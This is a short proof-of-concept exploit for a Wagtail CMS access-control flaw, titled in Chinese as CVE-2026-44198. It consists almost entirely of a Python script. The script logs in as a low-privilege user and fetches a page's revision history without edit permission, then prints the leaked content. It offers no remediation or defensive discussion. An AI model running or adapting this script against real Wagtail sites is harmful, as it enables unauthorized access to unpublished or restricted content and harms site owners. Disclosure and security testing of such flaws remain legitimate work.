CVE-2026-44198 Wagtail CMS越权访问导致信息泄露

import requests # Target configuration target_url = "http://target-wagtail-site.com" login_url = f"{target_url}/admin/login/" page_history_url = f"{target_url}/admin/pages/5/revisions/" # Replace 5 with valid page ID # Low-privilege user credentials username = "low_priv_user" password = "password123" session = requests.Session() # Step 1: Login to get session cookie login_payload = { "username": username, "password": password, "csrfmiddlewaretoken": "" # Need to fetch this first in a real scenario } # Note: In a real exploit, you must fetch the CSRF token from the login page first. response = session.post(login_url, data=login_payload) if response.status_code == 200: print("[+] Login successful") # Step 2: Access page history without edit permission history_response = session.get(page_history_url) if history_response.status_code == 200: print("[+] Successfully accessed page history!") print("[+] Content snippet:") print(history_response.text[:500]) # Print first 500 chars else: print("[-] Failed to access history") else: print("[-] Login failed")